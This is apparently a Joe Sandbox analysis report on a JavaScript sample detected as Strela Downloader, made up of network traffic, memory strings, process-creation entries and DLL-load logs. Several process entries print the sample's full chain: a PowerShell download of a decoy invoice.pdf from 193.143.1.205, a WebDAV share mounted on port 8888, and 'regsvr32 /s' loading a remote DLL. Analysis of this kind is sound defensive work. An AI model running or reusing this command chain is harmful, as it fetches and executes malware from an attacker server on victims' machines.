Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49716

Source: global traffic

TCP traffic: 192.168.2.10:49716 -> 193.143.1.205:8888

Source: Joe Sandbox View	IP Address: 193.143.1.205 193.143.1.205
Source: Joe Sandbox View	IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.10:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000001.00000002.1271798760.000001CB82C68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 0000000C.00000002.1333464899.000001C7871A0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1333033511.000001C787148000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000003.1325551413.000001C78719E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000003.1328318397.000001C787178000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1333138836.000001C787178000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 0000000C.00000002.1333033511.000001C787148000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace
Source: svchost.exe, 0000000E.00000002.2558450041.0000025B5F60F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.13.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.14.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.13.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.14.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 0000000E.00000003.1326974960.0000025B5F420000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.14.dr, edb.log.14.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.10.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7412, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\37272925816594.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\37272925816594.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1110167182254330320.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7628:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vex4enps.or0.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 1110167182254330320.js

Virustotal: Detection: 13%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1110167182254330320.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\37272925816594.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2076 --field-trial-handle=1744,i,13194885931791499067,8970318220075079134,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\37272925816594.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2076 --field-trial-handle=1744,i,13194885931791499067,8970318220075079134,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
